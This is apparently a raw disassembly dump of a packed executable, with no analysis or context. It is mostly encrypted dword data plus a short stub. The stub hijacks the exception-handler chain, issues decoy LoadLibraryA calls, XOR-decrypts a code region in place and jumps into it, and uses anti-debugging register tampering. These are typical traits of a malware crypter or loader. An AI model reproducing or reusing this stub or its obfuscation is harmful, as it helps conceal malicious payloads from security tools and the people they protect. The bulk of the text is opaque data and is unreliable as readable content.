282BB537h, 0D060F0B6h, 8B54B840h dd 6863CD80h, 64A530F6h, 54DD7030h, 95208678h, 0ED60D774h dd 10960845h, 27FE8485h, 0A6183BC5h, 50E07000h, 90A94440h dd 0E658733Dh, 1957B240h, 6F28D583h, 0F8A030F6h, 2F9F0387h dd 6FDDD1A8h, 529098FFh, 8D2B30C0h, 0D056CF04h, 0AFA82D43h dd 29087036h, 1F5FCF3Ch, 0D062A004h, 10953B40h, 0DBE0463Fh dd 0CEA30C9Eh, 2F9D8A68h, 0AAA2BFBFh, 0D1E07002h, 10C0148Ah dd 2EEB1080h, 0EA23E612h, 409A7314h, 282BB537h, 0D060F0B6h dd 8455A040h, 6F2CCD89h, 0A52D30F6h, 0D056C818h, 80483DCBh dd 0F4137036h, 1A868997h, 65EDF080h, 9016A040h, 5051D5F3h dd 0B4533223h, 0E8EB7577h, 9020B076h, 0D4EF6000h, 10A0306Eh dd 3848837Fh, 6FDF5EF6h, 6F5CE58Bh, 0C22530F6h, 0D0F8748Fh dd 25ABB040h, 50D64F80h, 91B07A4Bh, 0D000D4CAh, 0DA0B5040h dd 63E20308h, 4D23309h, 0C0087DBBh, 1DABB076h, 50D66068h dd 2C2B66B2h, 0B8C573A4h, 90208650h, 5088D783h, 9BA030C0h dd 9A61F8FAh, 17D7B348h, 0C465FBF7h, 0E7A006FFh, 0E6587B05h dd 9020F040h, 0A7E20400h, 1CD233D8h, 65E9C0A9h, 90168F88h dd 51C8038Bh, 9B25C7F0h, 9060C6B8h, 0E420B040h, 1F88702h dd 0EF5C7928h, 0DC8BA97Fh, 0BB08C343h, 6B17C72h, 49FF9433h dd 0E8F8450Dh, 2DA9B076h, 50D64FCCh, 4EFF9433h, 5DF2C18Fh dd 902064C7h, 0D9754A00h, 65A006F8h, 0A8B29986h, 18328416h dd 0EB088050h, 4A5FCF1Ah, 0D36CBA0Bh, 15D7A00Ah, 50D6488Bh dd 0A030C0h, 0A565B10Dh, 58AD3953h, 53E0463Fh, 26B05845h dd 0B8C77380h, 9020B040h, 0D9C8332Bh, 10A06347h, 98E50780h dd 9120867Ch, 24E07000h, 18E3F7C7h, 70C05020h, 0A8AB35B7h dd 50E07036h, 17D4B0C0h, 271A18D2h, 1B7A4FBFh, 66DFB88Dh dd 99A5D3C0h, 0DD8BD8CBh, 0AFE43DCBh, 52037036h, 5B2B332Bh dd 5BE507A8h, 93208678h, 24E07000h, 0DC25BBD4h, 0D360C6BFh dd 0A61F08CDh, 0E4657300h, 11A006FFh, 0C02A7B88h, 0AFA435CBh dd 1AD97036h, 99A343C8h, 9261F8CAh, 0C8433350h, 0DC65FB00h dd 78A006FFh, 0D060D818h, 0C928F241h, 0DAB03301h, 2698B955h dd 5BE50780h, 90208678h, 24F07000h, 782D33C6h, 6660C690h dd 1BA54740h, 50E04638h, 65A032C0h, 27A60E94h, 0A6183BC5h dd 54E07000h, 9AA645C0h, 0E6587A35h, 1BA54740h, 50E04638h dd 65A03080h, 0D2677A8Bh, 46221A82h, 590B87E2h, 0D292374Ah dd 32B6F22Ah, 0F4F283B7h, 0DF84528Bh, 0AD2368C2h, 0D056CFE4h dd 4EA4BF40h, 0AF1F8FFAh, 269FB075h, 6AF50F80h, 6F20867Bh dd 66DF0CB5h, 3E35CFC0h, 5D60C6BBh, 0A61FD8CDh, 2075FD00h dd 41A006FFh, 2F609AD2h, 0A61FD4F5h, 0FE758F00h, 0EFA006FBh dd 0E65F9435h, 0BEB54F40h, 0DDE0463Bh, 269E6075h, 0B0D50F80h dd 0C620867Fh, 6B4AE5FFh, 0B52330F6h, 0D056CFE4h, 90C87340h dd 0DE07000h, 0FD2131AAh, 0D056C716h, 512F4018h, 66F50485h dd 0D360B5C0h, 209F3803h, 0E4A5714Fh, 93E04615h, 3AA020FDh dd 0B67C8580h, 9C04CCC1h, 4395016Ch, 0EF64D8A0h, 0D5150F7Fh dd 6FDA64A8h, 0AF3298FFh, 3EC1CF3Fh, 8618DD7Fh, 0B598A274h dd 30E07000h, 0EF5F9528h, 5B59857Fh, 1D109404h, 66DE20B5h dd 18F0BBC0h, 0D65A71E6h, 0C605C342h, 0AFE07068h, 7A64BBC0h dd 2F30A280h, 0A61B4AD5h, 5824F300h, 2FFC0E41h, 0D315ACBFh dd 782476C3h, 0AF1F8A81h, 0EF5F4F28h, 68A3917Fh, 9020B034h dd 7F58C1EBh, 0F8A030C0h, 0D060F09Dh, 28209082h, 50E07030h dd 10A02028h, 0D0443280h, 902135F8h, 50E39800h, 3C6230C0h dd 0F4347D80h, 130E7D4Ch, 499C70F8h, 10A0D8A0h, 84EBF080h dd 1B7D8064h, 3D0DF11Ah, 0F8A006F8h, 2F9F1154h, 90247221h dd 56E77102h, 0F07933C5h, 2A296EFFh, 103815FFh, 498D0100h dd 1CEh dup(0) dd 816FD700h, 7Ch, 13D9h dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call loc_3161F012 call sub_3161F0BC jmp near ptr byte_3161F062 start endp ; --------------------------------------------------------------------------- loc_3161F012: ; CODE XREF: start+3p push dword ptr fs:0 xor ds:dword_3161F063, ebp mov fs:0, esp xor ebx, ebx push ebx push ebx push ebx push 80000000h push ebx push 80000000h push ebx push ebx push 10h push 80000000h call ds:dword_3160708C ; LoadLibraryA xor eax, eax push eax push eax push 8000h push eax push eax push eax push 8 push 20h call ds:dword_3160708C ; LoadLibraryA ; --------------------------------------------------------------------------- byte_3161F062 db 0BDh ; CODE XREF: start+Dj dword_3161F063 dd 12FFC0h ; --------------------------------------------------------------------------- cld sub eax, eax loc_3161F06A: ; CODE XREF: UPX2:3161F070j dec al or al, al jz short loc_3161F074 jnz short loc_3161F06A jmp short loc_3161F0DB ; --------------------------------------------------------------------------- loc_3161F074: ; CODE XREF: UPX2:3161F06Ej call sub_3161F0B8 sub esi, 0FFFFFFB0h push esi xor edx, edx xor edx, 2898h sub edi, edi add edi, 0EDh loc_3161F090: ; CODE XREF: UPX2:3161F0A6j xchg al, [esi] xor ax, di xchg al, [esi] cld cld cld cld add esi, 1 add di, 7Ah dec edx or edx, edx jnz short loc_3161F090 pop esi mov edi, [ebp-8] mov fs:0, edi leave jmp esi ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3161F0B8 proc near ; CODE XREF: UPX2:loc_3161F074p pop esi jmp esi sub_3161F0B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3161F0BC proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_3161F0BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E8h, 2 dup(0) dd 48B0000h, 9889FC24h, 2FCBh db 0F7h, 80h, 86h ; --------------------------------------------------------------------------- loc_3161F0DB: ; CODE XREF: UPX2:3161F072j sub [eax], al ; --------------------------------------------------------------------------- db 3 dup(0) dd 5C8B8000h, 2D740424h, 0CFB08959h, 5700002Fh, 2FD3808Fh dd 0B8800000h, 288Ah, 30D75E8h, 288B98h, 25B8B00h, 8EB33FFh dd 288C988Bh, 33FF0000h, 0E88B555Bh, 4246C81h, 80CEh, 1005ED81h dd 7C8B0036h, 0B58D0424h, 363898h, 0B9h, 0E8A4F300h, 4Eh dd 47E8C88Bh, 2B000000h, 3D1774C1h, 100h, 858D1077h, 3610D4h dd 0E8F0508Ah, 32h, 85F73FEBh, 36388Bh, 80000000h, 0B58D1E74h dd 36388Fh, 4247C8Bh, 0B58BA5A4h, 363FD4h, 3FD8BD8Bh, 9D8B0036h dd 363FD0h, 310FC35Dh, 0F28A10C3h, 27B7B9h, 40103000h dd 0F9E2D602h, 30C391C3h, 0F19FAFB0h, 0D8F4DEFBh, 0F894A3A9h dd 3120FB81h, 9F155040h, 0F3A3530Bh, 0C861B6FCh, 0DC555550h dd 731800CBh, 90D21B53h, 0F3F89A4Bh, 338D41F3h, 8E13683h dd 0C5F0E482h, 0F59851C9h, 5461736Fh, 9A825534h, 9963CDD9h dd 826BF4CCh, 0C3234924h, 3E64E74Fh, 0B3BCEA0Bh, 77D45B3Bh dd 3CC8E303h, 33605040h, 0D5D3FFECh, 948EB188h, 6320756Ch dd 0F5E986BFh, 0B096ABAEh, 0F0E0DD28h, 55525300h, 35052421h dd 0C4CEF5F6h, 0FB3D081h, 2A599D6h, 9860667Bh, 0B0A0908Dh dd 0BC94B587h, 75546361h, 20F2232h, 665FC380h, 0CBD65549h dd 0F3C81036h, 0F5605043h, 0B3249F40h, 0A01F2F3Fh, 0B1685FFh dd 0B0E55076h, 0B321158Fh, 4D60D0C0h, 3016052Dh, 8F742541h dd 869F4035h, 0DD6D2EC0h, 0BF202615h, 4675D4C5h, 33A77B80h dd 0C6F55465h, 95A31000h, 70564534h, 0C8051380h, 0F0E0E6D5h dd 255CB583h, 27605076h, 0A2721546h, 79E1D0F6h, 61B2AB5h dd 80D5DD40h, 83A0A695h, 0B65D5D09h, 8120263Bh, 73EBB860h dd 4FFF9080h, 0C6DB5655h, 2FC8D100h, 70B4D44Fh, 0F72B9080h dd 0F3A0BAD4h, 202078C3h, 0F5E95840h, 0B096ABBEh, 0F08F20A8h dd 0CF207A00h, 465BEED5h, 0BF601580h, 0F0E23E44h, 85AD8700h dd 70564040h, 4C197F0Bh, 71E0D0CBh, 63010EDh, 22F5DD40h dd 43A0A692h, 73022F65h, 0CCAB30ECh, 0B053582Ah, 89351DD9h dd 3E0E6DBh, 0B9DC9BABh, 379E4017h, 0B3C8C79Ch, 0FE0D1C0h dd 61B2E95h, 50A4D340h, 34AF5005h, 0F0E0D25Fh, 5A207A97h dd 74603841h, 0B0C81080h, 0FE0D1C0h, 61B2E95h, 7FA0D540h dd 0B0A21204h, 0A0E0BAC0h, 34201068h, 0B1603A40h, 0DAF79C68h dd 0F18880C1h, 0CF201100h, 465B6ED5h, 0B0AAF880h, 651FD0C1h dd 30162B3Eh, 706055A8h, 0B2F17980h, 0F08AD0C0h, 5A2AF359h dd 0C2F5AF4Ah, 5BA0A6BBh, 4D631331h, 30162B5Eh, 44E45F40h dd 58A09082h, 0F0E0D0C6h, 7C64444Eh, 0E59F500Ch, 0B096ABFAh dd 0E72A654Dh, 0F9131036h, 4BA6EDCDh, 0BE1190B6h, 0F2933853h dd 8DA31000h, 70566BBAh, 0B0249F80h, 7BE0D0C2h, 61BDA85h dd 7110AF40h, 8742150Fh, 756BD0F6h, 30162BE2h, 0FF6120BFh dd 8698BF05h, 3E655BC0h, 0CF20263Bh, 0F5EF5130h, 0B096A8B6h dd 0CB325D4Bh, 2AC31036h, 0FF6121BFh, 8698D305h, 2A6D5BC0h dd 0D320263Bh, 7111AF49h, 88F0150Fh, 4808D0F6h, 0BD201001h dd 465C00FDh, 0DA6F1B80h, 0F3926C0h, 0D1A31470h, 73203A43h dd 0B0CAC779h, 456DC8AAh, 301605D7h, 706049F9h, 0FDA41D80h dd 0F1F2F3Eh, 34ADBB66h, 7060500Dh, 3D0BF680h, 0C24BD487h dd 0CCB59DE4h, 0DC60667Ah, 0D6A219E6h, 0F222536Bh, 0E4ABE5E2h dd 8008502Ah, 3BA090EFh, 7BE0BA0Ch, 58207AC4h, 78605040h dd 0E2F1D0EAh, 0FB0DEAAh, 61BC695h, 0B4E30840h, 0DF50F8C0h dd 246BD0C0h, 0FCAB106Ah, 700A102Ah, 0DAF292EAh, 9F10B8C0h dd 304A1000h, 209F3A11h, 8B7E057Fh, 0A9BFD0F6h, 0B42FEF85h dd 70605147h, 0A0A0250Dh, 0C59D0F6h, 0BB20100Bh, 0F1C5A3AFh dd 86B0906Dh, 0C8655DC0h, 0CF202614h, 1A3400A0h, 4F5FFAA0h dd 0C6DB3655h, 6FE09500h, 3D886435h, 58A09081h, 0F0E0D0D1h dd 55647553h, 20072522h, 0D9D6F9F2h, 9587B5ACh, 7EC84700h dd 8F605045h, 869FC435h, 9A752FC0h, 6720263Bh, 4B4EC5BFh dd 0B0CA90B6h, 651FD2AAh, 30162B5Eh, 706178F9h, 518B0780h dd 0A4C4DC49h, 92B5EF57h, 4360667Bh, 8E051376h, 0F0E0E6FCh dd 0A5DF4754h, 70566BE6h, 0D6D45005h, 0F41E5386h, 44DFFE72h dd 700A5864h, 255FBAEAh, 0F0D6EB5Eh, 0EC54D085h, 75E6B8D3h dd 79939080h, 0C9DA3351h, 61C2E85h, 0F1522540h, 0D384B4FCh dd 8493A2B3h, 0A4E19128h, 2060504Eh, 0E1F6C0D4h, 0FB38090h dd 61B4695h, 29A0D540h, 0C45F9FF4h, 756FD8E4h, 30162C3Eh dd 8F9D95A8h, 255FC37Fh, 0F0D6EBEEh, 0F4A19EEBh, 70605168h dd 9E356FD7h, 0FE0E6FBh, 61B3E95h, 8B08B940h, 0EAA06F7Fh dd 0F08AD0AAh, 304A106Ah, 74605128h, 0DA641B80h, 0FC8A80C0h dd 0D2DFD48Bh, 443F2816h, 79939080h, 0F1F0A28h, 77B59DFFh dd 22606655h, 4FF0C1D1h, 0C6DBE255h, 10E49300h, 28380883h dd 0B08F6080h, 0F0EE8FC0h, 30201100h, 70605040h, 0B0A09080h dd 0F0C85BC0h, 30201000h, 23360140h, 8B9A057Fh, 0A94BD0F6h dd 45E094ACh, 0B38EB2BBh, 0A9D1050Dh, 0FB2D0F6h, 61B8295h dd 24E5D940h, 58A0A6BFh, 0F0E0D0D6h, 5B4F7F4Ch, 2302035h dd 0DCC9E6E9h, 0A685B7A5h, 55557C61h, 8F305001h, 869BAA15h dd 0A86559C0h, 0F320263Fh, 301121Ch, 0DDC1DEE5h, 92AFB4A5h dd 4443756Ah, 4360C33h, 0C4C3F5D3h, 8493BCC0h, 5E457C72h dd 15121340h, 0F6C5E4E1h, 0B185BCA9h, 55525300h, 36052421h dd 0FDC5FCE9h, 9990A0A1h, 3061776Eh, 11052203h, 0C2F0F5F4h dd 8385B3AFh, 73205173h, 4013532h, 0DDC5C2E5h, 0A485A4AFh dd 51456268h, 2235024h, 0D5D4F1E5h, 9592B894h, 73207461h dd 4013532h, 0DFCFC4E5h, 9C85B8ACh, 63122370h, 310312Eh dd 0B0D4FFE8h, 8489A885h, 55527854h, 36603421h, 0E4C5FCE9h dd 0A485BDA9h, 4359436Fh, 240D3534h, 0B0C5FDE9h, 9585A286h dd 4242794Ch, 70192221h, 0F6D4F5C7h, 0B185BCA9h, 59526474h dd 15142522h, 0F7A0D1F3h, 99A6A4A5h, 5973756Ch, 3760353Ah dd 0D9E6E4E5h, 99B4B5ACh, 7720756Dh, 1F2D2425h, 0D5CCE5E4h dd 948EB188h, 3061756Ch, 24143507h, 0F6D0FDE5h, 0BE85BCA9h dd 71457D61h, 4051740h, 0C0CDF5D4h, 9894B190h, 55671041h dd 2050634h, 0DECFF9F3h, 848597C0h, 43527556h, 350E3F29h dd 0F7A0D1F8h, 9FB6A4A5h, 554D656Ch, 1F063E09h, 0C4C1FDF2h dd 0B18EBFA9h, 514F5C00h, 12091C24h, 0C9D2F1F2h, 91ADD081h dd 55494670h, 36061F37h, 0B0C5FCE9h, 9E85A08Fh, 554C7946h dd 10310Dh, 0F1C7FEE9h, 95909FC0h, 5F52406Eh, 3133523h dd 0DFD2C080h, 8393B5A3h, 59662233h, 70142332h, 0D3CFE2D0h dd 0C393A3A5h, 48455E32h, 15335034h, 0DCC9D6F4h, 849491A5h dd 45427972h, 31133534h, 0C4C5C380h, 958CB986h, 554D7954h dd 150C0340h, 0E3A0E0E5h, 9594A3B9h, 5D49446Dh, 360F0425h dd 0E4C5FCE9h, 0F085BDA9h, 514D7E55h, 15090630h, 0F6C6DFF7h dd 0F085BCA9h, 44527956h, 310C3135h, 0D3CFFCECh, 999287C0h dd 59667574h, 3E60352Ch, 0DAC4D1F4h, 0A094A3B5h, 59567972h dd 1507352Ch, 0DBCFC4F3h, 0BEE0BEA5h, 55525374h, 36052421h dd 0B0C5FCE9h, 82A3A48Eh, 55547165h, 130F2210h, 0B0D3E3E5h dd 82A3A48Eh, 55547165h, 130F2210h, 0F5D3E3E5h, 84AED0B8h dd 51456243h dd 15333534h, 0DFC9E4E3h, 84AED0AEh, 51456243h, 3353534h dd 0C2F0E2E5h, 8385B3AFh, 446E1073h, 2610310Dh, 0FFD7F5E9h dd 938583A6h, 5E4F7974h, 3F141E40h, 0F6CEF5F0h, 0F085BCA9h dd 406F644Eh, 2303E25h, 0C3C5F3EFh, 9B8F84B3h, 7E207E65h dd 15101F34h, 0D3C5C3EEh, 9E8FB9B4h, 60545E00h, 15143F32h dd 0D9F6E4E3h, 9195A4B2h, 5D455D6Ch, 7019222Fh, 0C5F1E4CEh dd 0B999A2A5h, 424F766Eh, 1914312Dh, 0DFF4FEEFh, 0F08EB5ABh dd 4277644Eh, 26052429h, 0C5D4E2E9h, 95ADBCA1h, 49527F6Dh dd 1C140240h, 0D3C9FED5h, 0A385B4AFh, 5E496274h, 310F0427h dd 0E3C9E3EEh, 9E89A2B4h, 63771067h, 11140301h, 0C0D5E4F2h dd 9F8CB3C0h, 5F537573h, 4053B23h, 0DECFF380h, 8483B5AEh dd 44457700h, 4133F28h, 0D1CEE9E2h, 82E0B5ADh, 30567365h dd 140E3533h, 0D3CFE380h, 0F094B5ABh, 55547E49h, 4053E32h dd 0C3CFFCC3h, 9E8198A5h, 30457C64h, 15143E09h, 0C4C5FEF2h dd 0B394B587h, 554E7E6Fh, 14052423h, 0C4C1E4D3h, 9EA9D0A5h dd 5E527574h, 2F2425h, 0B0E1FEE5h, 9594BE89h, 44457E72h dd 1E05200Fh, 0F1CCE2D5h, 848E99C0h, 554E6265h, 11050234h dd 0DCC9D6E4h, 0B4A1D0A5h, 79705156h, 344E6273h, 0E2A0DCCCh dd 9CA3B7A5h, 7B45636Fh, 22602925h, 0C0EFF7E5h, 95ABBEA5h dd 71585579h, 17050240h, 0C2C5E5D1h, 9C8186B9h, 48657575h dd 15325001h, 0C4C5C3E7h, 858CB196h, 71585565h, 86530640h dd 0E6F692EAh, 0F18A044Bh, 2852EF52h, 28F5AF16h, 3BA0A6BFh dd 0A6B68604h, 40DF4650h, 0B6F5AF58h, 33A0A6BBh, 32BEC004h dd 79AD1008h, 21A87BBBh, 0B0A090E8h, 0D4AC5D28h, 5A207A03h dd 23300145h, 7C2B95EAh, 0A0345B90h, 61607A54h, 0E59F0312h dd 0B096AB6Eh, 0FEC1443h, 61BE695h, 78A4D340h, 4C351D43h dd 0C3E0E6FAh, 62207AC9h, 42606028h, 0E1641B80h, 0A0A0BA91h dd 0B3387A51h, 1A345880h, 255FC08Eh, 0F0D6EB2Ah, 300D483h dd 7FA0D592h, 6A575219h, 3322F398h, 0D8DF2357h, 8F9FAF81h dd 0B005148Fh, 98B0D0C0h, 30207FF0h, 700A84CBh, 0F0CA5C0Bh dd 0E0E0D0A8h, 62227A00h, 8008502Ah, 0DAA090EFh, 0A0B381C0h dd 0BFE85FFh, 293F5076h, 8B8E057Fh, 0F65D0F6h, 0BDAB6174h dd 7056453Ch, 252D9C63h, 0F0D6C0C0h, 6377C103h, 0F5EB82BFh dd 0B096AB4Ah, 0D7015F4Dh, 1BC81000h, 0FB9FAFBFh, 869B7205h dd 0DE6F5DC0h, 0D8201028h, 8F9FAF5Ah, 8B6E150Bh, 7F6DD0F6h dd 30203835h, 8F9F59A8h, 62251B7Fh, 75E0E6FBh, 0BD0064C0h dd 704812CFh, 4E547880h, 756B2F3Fh, 30162BDAh, 7B1490C5h dd 98EF1F0Dh, 2F08D0C0h, 0BBDFEFFEh, 25A30F87h, 0B0A09068h dd 1D618DC0h, 30160B10h, 0F5ED9973h, 0B0968E14h, 0A1B18491h dd 0CF714150h, 465B0AD5h, 94A41780h, 0CBCE453Fh, 0F27D1036h dd 98355044h, 0B0A09080h, 0CF0D519Dh, 5A20261Bh, 7AF5DDBFh dd 0E0A0A69Bh, 0D4C01D92h, 0B3203A00h, 0B7065C84h, 86BBC005h dd 37C01DC0h, 63B4285h, 5A607440h, 0DA63CD80h, 0F90888DAh dd 0BD201000h, 8ECA3102h, 7350E549h, 0CCA845A9h, 0B4251036h dd 0F9225848h, 869CD815h, 330227C0h, 3020F855h, 0F13D5040h dd 86BB096Dh, 0BC7D5BC0h, 0B320263Ch, 7068743Ch, 0B019148Fh dd 1C61D0C0h, 30201208h, 71643814h, 255F9080h, 0F0D6EB42h dd 0B4ADEC8Bh, 70615464h, 0B0CAC080h, 0F0E0D428h, 62724600h dd 0E59F0740h, 0B096ABFEh, 676D19F3h, 30201104h, 720A0111h dd 0D8A1FAD1h, 0B0E0D0C0h, 7AB5EF52h, 0E660667Bh, 0EBD46605h dd 0F4888490h, 67201001h, 5044E4BFh, 4FA09082h, 0C6DCFA55h dd 0F0A54900h, 64834634h, 0DA741BD0h, 0A7B182C0h, 0F2B5EF56h dd 2960667Bh, 60D55005h, 0DE752F96h, 0BD20263Bh, 27321417h dd 3DF8D4EAh, 0F0E1D457h, 0F013BB00h, 8339402Ah, 0E0F0C02Bh dd 0A0B08090h, 62B5EF52h, 0F160667Bh, 0B0A29844h, 0D4942FC0h dd 2AB5EF08h, 2360667Ch, 8CBA057Fh, 32BDD0F6h, 0EA01004h dd 3661254Ah, 0A5D81D0Bh, 0E903D0F6h, 2020858Dh, 0A1635076h dd 34726FD6h, 0EF68DF00h, 3F201001h, 706140C4h, 8A9E1080h dd 70A6C0B5h, 0B42F103Eh, 70605141h, 0C580AE00h, 0CE619631h dd 776E5950h, 0BFEB1235h, 0FFA1D646h, 9AB11EEBh, 63764100h dd 4C72C5BFh, 8BF990B6h, 2F65DF01h, 0BD201000h, 467ED8C5h dd 0D8A0FA80h, 0F0E0D0CCh, 0A5DF4350h, 70566C52h, 0B0A09CBDh dd 4F65DFC0h, 0D9201000h, 706050F1h, 0E2F0AE01h, 75EF8689h dd 302010A5h, 0DC6896C3h, 34AF9DBCh, 0F0E0D059h, 0C355303Ch dd 7F5A6CECh, 0B0A01C05h, 0D0ED7DC0h, 0D003020h, 4053761h dd 8C0CEFF5h, 719CA5E0h, 5800EF7Eh, 1152434h, 0C0A3EE01h dd 85CFFFFAh, 0CF67D668h, 0CA515F40h, 0B0A0B790h, 0FB23237h dd 61BA295h, 20A06340h, 58F0C0D0h, 0F0E0D0C9h, 5E577F44h dd 14013F2Ch, 92356F80h, 75E0E6FCh, 31664C0h, 3CE5D989h dd 0E1A0A6BCh, 0F0E2D0A8h, 66714180h, 56F5AF10h, 3DA0A6BCh dd 0C6FB4355h, 0F9134000h, 22300114h, 255FC1D1h, 0F0D6EB9Ah dd 0CF041487h, 465B7ED5h, 30636880h, 0C6F5BB4Dh, 0F3D91100h dd 710A512Ah, 0C35FA37Fh, 75F52FC4h, 37A64C0h, 0C3B0DB9Bh dd 8CF0938Bh, 0ED57654Dh, 8AAB1036h, 7060514Ch, 0B1A81A0Bh dd 8E3D0C0h, 0BB40DB2Bh, 11C6A38Bh, 52E795F4h, 73CE3B35h dd 0BB731FC7h, 0A4EB078Ch, 0F0CAC4D0h, 0F8A8291h, 0BCE85FFh dd 0FDEB5076h, 0B096ABE2h, 0DBEC1443h, 37C993CFh, 700A5787h dd 0FF299068h, 0BFB313C3h, 71774446h, 3D3C1512h, 0DFD2F3E9h dd 8486BFB3h, 5E49475Ch, 3173F24h, 0C2D5D3DCh, 848EB5B2h dd 43527556h, 2C0E3F29h, 0DCD0E8C5h, 8285A2AFh, 42414400h dd 38143527h, 0B0D4E3EFh, 0A0E0D0C2h, 30201000h, 14032229h dd 0D5C9EAAEh, 9C90FEA6h, 73695E00h, 515700Bh, 0C0CBE3E5h dd 0A5EAB2B4h, 10725553h, 392F1A27h, 0C686B0CEh, 8594A2A9h dd 30C8450Ah, 2D605040h, 0AE3A7D01h, 7526D0F6h, 3016056Bh dd 0F6F5AF40h, 71A0A6BBh, 0CC94CF28h, 85AB0E6Ah, 70566B7Eh dd 9E9C3CD9h, 7186FAB5h, 453DEF3Eh, 32DDDD63h, 3BA0A6BCh dd 55B7D2B6h, 0B5ADB566h, 705667F7h, 877D150Fh, 791AD0F6h dd 7EACEA46h, 71D1ABBEh, 0E04B5F62h, 0F1BF828h, 145C93FFh dd 34155448h, 0B0A09868h, 0B3A683C0h, 7C6C542Eh, 0E2F5AF40h dd 0BBA0A6BBh, 63EDA400h, 0CF73126Ah, 465B6AD5h, 23706F80h dd 0F1E4E28h, 302BF8FFh, 36335040h, 0E3EFCFC3h, 0BCAC94EEh dd 0A2B5EF00h, 9860667Bh, 4F5F6E03h, 0F16D928h, 0E2ADEFFFh dd 43606652h, 5C251D49h, 0A1E0E6FFh, 60714151h, 8F310111h dd 869B1E15h, 0F0EB38C0h, 63751000h, 42530205h, 0FCECD4AEh dd 62752FC0h, 0D820263Bh, 7060504Ah, 0C2D0E3F7h, 9694BEA9h dd 0CF701041h, 465B6AD5h, 0F2251980h, 0FFE0E6FBh, 41AD9D31h dd 0F9606659h, 869CD805h, 651F81C0h, 30162B92h, 706438D3h dd 52D9080h, 0F0D6C9BEh, 1E9D9D59h, 9860667Ch, 4F5F6549h dd 916517A6h, 3020261Eh, 13C5D310h, 0B0A0A69Eh, 0EEC1454Dh dd 64701036h, 700A512Ah, 0B0A2F8D2h, 651F50C0h, 30162C32h dd 53A90C5h, 0E42D1DA2h, 0A2E0E6DEh, 85AD166Ah, 70564E21h dd 0E0F0C6D4h, 651F8291h, 30162C36h, 5EF5AF18h, 76A0A6BCh dd 0C6DE9F45h, 3CC81000h dd 27605040h, 0FBE3DFD3h, 0B4CEE2F3h, 0CF205C4Ch, 465BC2D5h dd 0B7C80380h, 7DE0D0C0h, 638C5B5h, 0CDED0940h, 0B096AB7Eh dd 0F159428h, 302CF8FFh, 39375040h, 0F5EED9CEh, 0BCA4FE94h dd 0A5DF104Ch, 70566BD2h, 34AF5005h, 0F0E0D2F5h, 30257893h dd 0C5ED5040h, 0B0968993h, 0EA5D5D99h, 0D820263Ch, 8F9FA54Dh dd 8CBE2D03h, 0FFE0D0F6h, 30220084h, 0E08CD140h, 0E4A09081h dd 0F0E1D1A8h, 0CEB5EF00h, 0F160667Bh, 0B0A10044h, 246B80C0h dd 0CF72106Ah, 465C4ED5h, 0E9601580h, 7888DDB5h, 0CF201013h dd 465BE2D5h, 33427B80h, 0C6FEB37Dh, 19551000h, 6E07D5CDh dd 4FF090B6h, 0C6DCDA55h, 3FE09500h, 7061D9C4h, 0BCE01B80h dd 0C01FD04Bh, 2E43958Fh, 0F5A65076h, 0B096AECFh, 9AE0BAC1h dd 0CF227A01h, 465C46D5h, 4F581380h, 0F18054CFh, 0BDB31000h dd 467E0FD5h, 0E2B0FA80h, 0F6752F93h, 0B520263Ch, 30E55F80h dd 3DA09081h, 0C6FEA97Dh, 0D828A100h, 8F9FAA03h, 0B0A004E8h dd 16CB8EC0h, 64042489h, 4BEAC5BFh, 0D2D90B6h, 0F0D6CE47h dd 14C811B1h, 0FD9FAFBAh, 86BEE415h, 98E0BAC0h, 30201014h dd 0E59F0312h, 0B096AC92h, 0E4C4944Dh, 0FCC858Dh, 7F305076h dd 0F42B9A36h, 1021C4E4h, 316A1208h, 62621A52h, 0F4AB93CAh dd 1160D8E4h, 38C0D10Fh, 54245B11h, 0E0926F90h, 0CCB06D4Dh dd 2CC81036h, 55605040h, 90D8A6AEh, 0D0CEF0EEh, 1505353Ah dd 5518686Eh, 0C385B0F8h, 0B9AF9ACAh, 6720304Eh, 4B22C5BFh dd 742190B6h, 0F0E0D06Ch, 6770106Ah, 62F5AF13h, 3BA0A6BCh dd 0C6F5544Dh, 0D3207A00h, 7DA93B5Bh, 0B0A578D1h, 0D5C6D0C0h dd 67201A64h, 4B22C5BFh, 742390B6h, 0FB0B80CCh, 30201768h dd 0FDDDDD40h, 0E7A0A69Eh, 0E2752F93h, 0B520263Ch, 0FD342E80h dd 869CC035h, 744553C0h, 30202615h, 4E2FDDCDh, 7E8B90B6h dd 0A6B1D0AAh, 3EB5EF53h, 0F360667Ch, 9FDE9078h, 7D1E5B51h dd 61C40B5h, 826DE040h, 0D0B0E52Eh, 0F1AE128h, 275271FFh dd 7ED59A3h, 3B4A7B81h, 7D2EFB0Fh, 61C40BDh, 0F7C4A340h dd 0E3197B77h, 0CCE2453Fh, 8DA01036h, 7056452Bh, 0D88AE481h dd 0F0E0A5F0h, 0B9285FFh, 0CDE05076h, 0B096AECFh, 37F1A4C0h dd 63E7385h, 70605040h, 0FF255680h, 0F0E0E6FEh, 0CFDE18E9h dd 4E597BFh, 0B0A0A695h, 0AD60D0C0h, 3D2014C2h, 1E401F4Ah dd 90CEFFEFh, 9CC0B6AFh, 11457669h, 4401F60h, 90C5FDE9h dd 93C0BFB4h, 52457C65h, 15143132h, 90AA9DA1h, 0D0C0F0E0h dd 4553304Fh, 2053D2Dh, 0C2C1F7A0h, 0D18EB5A4h, 55721A0Dh dd 40E352Ch, 0C3D3F5ECh, 98C0A9ACh, 49506061h, 140E3160h dd 0C0D8F5A0h, 9194B3A5h, 100C646Eh, 1E012433h, 0D7CEF9E4h dd 0FDCDF0FAh, 4441470Ah, 1E093823h, 0DCC1B0E7h, 9184F0ACh dd 5E413079h, 190E7024h, 9CD4F8E7h, 828FB6E0h, 59527620h dd 3043E25h, 0C780D9A0h, 0CA94B9A1h, 58771A0Dh, 50052225h dd 90C5E2E1h, 0DC95BFB9h, 59527620h, 3043E25h, 0DFE3B0BFh dd 0D0C1B5ADh, 59006449h, 19147033h, 9081F5EDh, 83C7A489h dd 44417C20h, 0F4647125h, 0CA14A047h, 0E4C9D5CBh, 0CAC500A6h dd 222877F1h, 1DE7D0B7h, 3939B259h, 0D7B3F719h, 427CB80Fh dd 0B05EB870h, 